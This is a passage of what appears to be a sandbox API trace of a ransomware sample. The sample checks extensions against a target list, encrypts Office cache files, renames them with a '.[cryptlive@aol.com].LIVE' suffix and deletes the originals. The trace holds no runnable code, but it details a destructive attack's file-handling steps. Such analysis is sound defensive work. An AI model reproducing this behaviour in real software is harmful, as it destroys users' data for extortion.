(lpString=".zip") returned 4 [0041.797] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0041.797] lstrlenW (lpString=".rar") returned 4 [0041.797] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0041.797] lstrlenW (lpString=".bz2") returned 4 [0041.797] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0041.797] lstrlenW (lpString=".7z") returned 3 [0041.797] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0041.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0041.797] lstrlenW (lpString=".dbf") returned 4 [0041.797] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0041.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0041.797] lstrlenW (lpString=".1cd") returned 4 [0041.797] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0041.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0041.797] lstrlenW (lpString=".jpg") returned 4 [0041.797] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0041.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0041.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0041.797] lstrlenW (lpString=".doc") returned 4 [0041.797] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0041.797] lstrlenW (lpString=".docx") returned 5 [0041.798] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0041.798] lstrlenW (lpString=".pdf") returned 4 [0041.798] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0041.798] lstrlenW (lpString=".xls") returned 4 [0041.798] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0041.798] lstrlenW (lpString=".xlsx") returned 5 [0041.798] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0041.798] lstrlenW (lpString=".ppt") returned 4 [0041.798] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0041.798] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0041.798] lstrlenW (lpString=".zip") returned 4 [0041.798] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0041.798] lstrlenW (lpString=".rar") returned 4 [0041.798] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0041.798] lstrlenW (lpString=".bz2") returned 4 [0041.798] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0041.798] lstrlenW (lpString=".7z") returned 3 [0041.798] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0041.798] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0041.798] lstrlenW (lpString=".dbf") returned 4 [0041.798] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0041.798] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0041.798] lstrlenW (lpString=".1cd") returned 4 [0041.798] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0041.798] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0041.798] lstrlenW (lpString=".jpg") returned 4 [0041.798] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0041.798] lstrcmpiW (lpString1=".msi", lpString2=".LIVE") returned 1 [0041.798] lstrlenW (lpString="Proof.msi") returned 9 [0041.798] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0041.799] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=875520) returned 1 [0041.799] CloseHandle (hObject=0x160) returned 1 [0041.799] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 0x2020 [0041.799] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0041.799] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0041.799] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.799] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.799] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0041.800] GetLastError () returned 0x0 [0041.800] ReadFile (in: hFile=0x160, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0xd5c00, lpOverlapped=0x0) returned 1 [0041.897] WriteFile (in: hFile=0x1bc, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xd5c10, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0xd5c10, lpOverlapped=0x0) returned 1 [0041.915] ReadFile (in: hFile=0x160, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.915] WriteFile (in: hFile=0x1bc, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0041.915] SetEndOfFile (hFile=0x1bc) returned 1 [0041.915] CloseHandle (hObject=0x1bc) returned 1 [0042.195] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.195] SetEndOfFile (hFile=0x160) returned 1 [0042.203] CloseHandle (hObject=0x160) returned 1 [0042.203] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0042.203] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 1 [0042.204] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.204] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.204] lstrlenW (lpString=".doc") returned 4 [0042.204] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.204] lstrlenW (lpString=".docx") returned 5 [0042.204] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0042.204] lstrlenW (lpString=".pdf") returned 4 [0042.204] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.204] lstrlenW (lpString=".xls") returned 4 [0042.204] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.204] lstrlenW (lpString=".xlsx") returned 5 [0042.204] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0042.204] lstrlenW (lpString=".ppt") returned 4 [0042.204] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.204] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.204] lstrlenW (lpString=".zip") returned 4 [0042.204] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.204] lstrlenW (lpString=".rar") returned 4 [0042.204] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.204] lstrlenW (lpString=".bz2") returned 4 [0042.204] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.204] lstrlenW (lpString=".7z") returned 3 [0042.204] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.204] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.204] lstrlenW (lpString=".dbf") returned 4 [0042.204] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.204] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.204] lstrlenW (lpString=".1cd") returned 4 [0042.204] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.204] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.204] lstrlenW (lpString=".jpg") returned 4 [0042.204] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.204] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.204] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.204] lstrlenW (lpString=".doc") returned 4 [0042.205] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.205] lstrlenW (lpString=".docx") returned 5 [0042.205] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0042.205] lstrlenW (lpString=".pdf") returned 4 [0042.205] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.205] lstrlenW (lpString=".xls") returned 4 [0042.205] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.205] lstrlenW (lpString=".xlsx") returned 5 [0042.205] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0042.205] lstrlenW (lpString=".ppt") returned 4 [0042.205] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.205] lstrlenW (lpString=".zip") returned 4 [0042.205] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.205] lstrlenW (lpString=".rar") returned 4 [0042.205] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.205] lstrlenW (lpString=".bz2") returned 4 [0042.205] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.205] lstrlenW (lpString=".7z") returned 3 [0042.205] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.205] lstrlenW (lpString=".dbf") returned 4 [0042.205] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.205] lstrlenW (lpString=".1cd") returned 4 [0042.205] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.205] lstrlenW (lpString=".jpg") returned 4 [0042.205] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.205] lstrcmpiW (lpString1=".msi", lpString2=".LIVE") returned 1 [0042.205] lstrlenW (lpString="Proof.msi") returned 9 [0042.206] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0042.372] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=885760) returned 1 [0042.372] CloseHandle (hObject=0x160) returned 1 [0042.372] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 0x2020 [0042.373] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0042.373] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0042.373] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.373] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.373] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0042.376] GetLastError () returned 0x0 [0042.376] ReadFile (in: hFile=0x160, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0xd8400, lpOverlapped=0x0) returned 1 [0042.396] WriteFile (in: hFile=0x1bc, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xd8410, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0xd8410, lpOverlapped=0x0) returned 1 [0042.602] ReadFile (in: hFile=0x160, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.603] WriteFile (in: hFile=0x1bc, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0042.603] SetEndOfFile (hFile=0x1bc) returned 1 [0042.603] CloseHandle (hObject=0x1bc) returned 1 [0042.612] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.612] SetEndOfFile (hFile=0x160) returned 1 [0042.620] CloseHandle (hObject=0x160) returned 1 [0042.620] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0042.620] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 1 [0042.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0042.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0042.620] lstrlenW (lpString=".doc") returned 4 [0042.620] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.620] lstrlenW (lpString=".docx") returned 5 [0042.620] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0042.620] lstrlenW (lpString=".pdf") returned 4 [0042.620] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.620] lstrlenW (lpString=".xls") returned 4 [0042.620] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.620] lstrlenW (lpString=".xlsx") returned 5 [0042.621] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0042.621] lstrlenW (lpString=".ppt") returned 4 [0042.621] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0042.621] lstrlenW (lpString=".zip") returned 4 [0042.621] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.621] lstrlenW (lpString=".rar") returned 4 [0042.621] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.621] lstrlenW (lpString=".bz2") returned 4 [0042.621] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.621] lstrlenW (lpString=".7z") returned 3 [0042.621] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0042.621] lstrlenW (lpString=".dbf") returned 4 [0042.621] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0042.621] lstrlenW (lpString=".1cd") returned 4 [0042.621] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0042.621] lstrlenW (lpString=".jpg") returned 4 [0042.621] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0042.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0042.621] lstrlenW (lpString=".doc") returned 4 [0042.621] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.621] lstrlenW (lpString=".docx") returned 5 [0042.621] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0042.621] lstrlenW (lpString=".pdf") returned 4 [0042.621] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.621] lstrlenW (lpString=".xls") returned 4 [0042.622] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.622] lstrlenW (lpString=".xlsx") returned 5 [0042.622] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0042.622] lstrlenW (lpString=".ppt") returned 4 [0042.622] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.622] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0042.622] lstrlenW (lpString=".zip") returned 4 [0042.622] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.622] lstrlenW (lpString=".rar") returned 4 [0042.622] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.622] lstrlenW (lpString=".bz2") returned 4 [0042.622] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.622] lstrlenW (lpString=".7z") returned 3 [0042.622] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.622] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0042.622] lstrlenW (lpString=".dbf") returned 4 [0042.622] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.622] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0042.622] lstrlenW (lpString=".1cd") returned 4 [0042.622] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.622] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0042.622] lstrlenW (lpString=".jpg") returned 4 [0042.622] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.622] lstrcmpiW (lpString1=".cab", lpString2=".LIVE") returned -1 [0042.622] lstrlenW (lpString="OWOW32LR.cab") returned 12 [0042.622] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0042.623] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2928955) returned 1 [0042.623] CloseHandle (hObject=0x160) returned 1 [0042.623] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab")) returned 0x2020 [0042.623] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0042.623] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[cryptlive@aol.com].live")) returned 1 [0042.624] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0042.624] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0x0) returned 1 [0042.624] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.624] ReadFile (in: hFile=0x160, lpBuffer=0x3c40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c40058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.904] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.904] ReadFile (in: hFile=0x160, lpBuffer=0x3c80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c80058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.936] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.936] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.936] ReadFile (in: hFile=0x160, lpBuffer=0x3cc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cc0058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.964] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.308] WriteFile (in: hFile=0x160, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x328fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0043.334] SetEndOfFile (hFile=0x160) returned 1 [0043.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40000) returned 0x3ed0058 [0043.334] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.334] WriteFile (in: hFile=0x160, lpBuffer=0x3ed0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: 